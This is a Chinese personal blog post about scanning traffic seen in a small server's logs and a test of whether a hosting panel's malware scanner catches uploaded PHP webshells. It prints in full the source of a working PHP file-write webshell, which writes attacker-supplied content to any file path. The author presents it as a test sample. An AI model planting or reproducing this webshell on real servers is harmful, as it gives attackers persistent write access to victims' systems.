前言

网络安全可以说是一个长盛不衰的话题,如果你足够关注这方面的信息,你可以在各大漏洞平台看见每天都有大拿提交新的漏洞。然而这个世界不是只有白帽子,还有很多黑客可能时常觊觎着你的服务器。

从入手腾讯云轻量服务器以来,我便养成了查看访问日志的习惯,而那些访问记录时常让我觉得很烦又好笑,因此曾经在哔哔叨叨发了一条吐槽——一个静态博客而已,天天扫天天扫,但凡有点脑子也不至于。不过这也侧面展现了一个问题,这个世界上无所事事的脚本小子每天都有。

在日志里发现了什么

从今年五月到现在,宝塔面板记录的网站访问错误日志大小竟然达到了10MB,无非就是一些莫名其妙的post和get请求。而在每日切割的日志里,随便打开哪天的记录都可以看到很多不正常的访问请求。略微估计了一下,得益于php使用的广泛性,它也成了脚本小子们最喜爱的语言。

常见的被扫描路径有以下几种:

①可能针对博客类网站扫描wordpress目录,企图来找到后台登陆地址或者其它已知存在漏洞的路径;

②其它php语言的网站程序路径,如phpmyadminphpcms之类;

③其它可能暴露网站信息的路径,比如备份在网站根目录下的wwwroot.zip,或者其它路径的数据库文件;

④一些尝试使用溢出攻击的,如\x00\x9C\x00\x01\x1,一个请求往往就是超级长一串;

⑤以前也遇到过尝试xss的。

没有配置Real ip,所以ip是cdn节点

上图只是今天的正常访问日志的部分内容,在错误日志里还看到有人post一个api然后再get,看名称好像是用来抢白酒的?不出意外,返回的是错误响应代码。

木马查杀测试

虽然对于静态网站我是相当放心的,在服务器我根本没有安装php或者asp,退一万步讲,即便有人上传了一个php木马,也没有环境去解析他的请求。但是我还是忍不住想看看宝塔面板里的木马查杀计划到底有没有用,于是我在网站的某个目录里上传了一个php小马和一个php大马。

php小马:

<?php
header("content-Type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
�����ļ���: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="����">
<form>
<?php
if(isset($_POST['file']))
{
$fp = @fopen($_POST['file'],'wb');
echo @fwrite($fp,$_POST['text']) ? '����ɹ�!' : '����ʧ��!';
@fclose($fp);
}
?>

所谓的加密免杀大马

然后,点击“执行”,一秒钟便扫完了,查看日志却发现什么问题也没有。我以为是刚上传所以没反应过来,多点了几次结果都是一样:

宝塔面板的计划执行日志

可以看到查杀引擎是由长亭牧云提供,但是却没有查杀出来任何东西,难道是长亭牧云的问题?于是我在github上找到了一个长亭科技的demo,将大小马上传之后检测,发现是可以检测出来存在风险的。

长亭demo检测

与此同时,腾讯云发来了短信和微信以及站内信提示发现服务器存在木马文件。及时发现风险文件的原因大概是系统进程里常驻着腾讯云的服务。

腾讯云发送的站内信

恶意文件详情

inkss大佬在启动服务器之后首先就干掉了腾讯云的服务进程,而我为了方便所以没有去更改。由此可见,在某些时候主机商的常驻进程是能起到一定作用的。

最后

上次将群晖连上公网之后几分钟内就开始被扫描,长期曝在公网的服务器每天要承受多少的扫描可想而知。网络安全没有绝对,但也并不意味着风险就是绝对的。对于正在使用服务器搭建网站或服务的人,要做的事情也并不复杂。

①修改服务器常用服务的端口,比如远程服务端口不要用默认的3389,尽可能改成复杂的无规律的端口号;

②不定期检查访问日志,以及查看服务器用户是否有其它账户增加;

③如果搭建的是动态网站,要经常关注对应cms的0day披露和版本更新。